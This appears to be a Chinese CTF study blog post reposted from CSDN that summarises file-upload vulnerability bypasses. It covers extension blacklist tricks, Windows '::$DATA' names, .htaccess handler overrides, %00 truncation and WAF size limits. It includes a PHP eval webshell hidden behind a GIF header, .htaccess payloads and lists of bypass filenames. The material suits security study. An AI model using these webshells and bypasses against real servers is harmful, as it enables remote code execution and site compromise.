文件上传漏洞总结

 

文件上传漏洞学的有点乱,本来会做的题,有时候就没想到,所以进行总结一下!

文件上传检查的一些方式

  • 客户端javascript校验(一般只校验后缀名)
  • 服务端校验
    • 文件头content-type字段校验(image/gif)
    • 文件内容头校验(GIF89a)
    • 后缀名黑名单校验
    • 后缀名白名单校验
    • 自定义正则校验
  • WAF设备校验(根据不同的WAF产品而定)

文件上传绕过的一些方式

  • 客户端绕过(抓包改包)
  • 服务端绕过
    • 文件类型
    • 文件头
    • 文件后缀名
  • 配合文件包含漏洞绕过
  • 配合服务器解析漏洞绕过
  • CMS、编辑器漏洞绕过
  • 配合操作系统文件命名规则绕过
  • 配合其他规则绕过
  • WAF绕过

1.修改Content-Type: image/jpeg

2.php大小等写绕过(黑名单绕过)

一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件.

能被解析的文件扩展名列表:
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

大小写绕过

phP,Php

还要注意文件名是否去空

如果没有进行去 . 操作 

利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:

::$DATA

php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名

扫描二维码关注公众号,回复: 4221336 查看本文章

3.当过滤所有可能被执行的后缀名

即过滤了php3,phtml等等。。。

如果可以上传  .htaccess文件

.htaccess的内容为

SetHandler application/x-httpd-php

这样所有的文件都被当做php文件执行,也可以指定某个文件当做php执行

.htaccess的内容为

<Files 1.gif> 
ForceType application/x-httpd-php SetHandler application/x-httpd-php 
</Files>

然后再上传图片马

文件名最后是进行拼接的,可以伪造文件名

$img_path = UPLOAD_PATH . '/' . $file_name;

 文件后添加   . .  进行伪造

双写绕过

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = str_ireplace($deny_ext,"", $file_name);

这里是将问题后缀名替换为空

 %00截断

基于一个组合逻辑漏洞造成的,通常存在于构造上传文件路径的时候

       test.php%00.jpg
  路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
伪代码演示:

name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00)
type =gettype(name)        //而在 gettype()函数里处理方式是从后往前扫描扩展名,所以判断为 jpg
if(type == jpg)
   SaveFileToPath(UploadPath.name, name)   //但在这里却是以 0x00 作为文件名截断
//最后以 help.asp 存入路径里


白名单判断,但是$img_path直接拼接

$ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

php版本必须小于5.3.4
打开php的配置文件php-ini,将magic_quotes_gpc设置为Off

如果save_path是通过post传进来的

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

在hex中将20改为00即可

上传图片马 

当检测文件头的时候,利用图片马

常见的文件头
 (1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
GIF89a<?php phpinfo(); ?>
GIF89a
<?php eval(@$_GET['a']); ?>

配合文件包含漏洞

如果可以上传php文件,,说明可能这是判断php文件内容是否为木马文件

上传一个txt文件内容是木马代码,如何再上传一个php文件去包含这个txt文件去绕过它

<?php Include(“上传的txt文件路径”);?>

上传不符合windows文件命名规则的文件名

       test.asp.
  test.asp(空格)
  test.php:1.jpg
  test.php::$DATA
  shell.php::$DATA…….

WAF绕过

有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;

条件竞争

服务器解析漏洞

参考:服务器解析漏洞

参考:文件上传漏洞

猜你喜欢

转载自blog.csdn.net/qq_30464257/article/details/84404229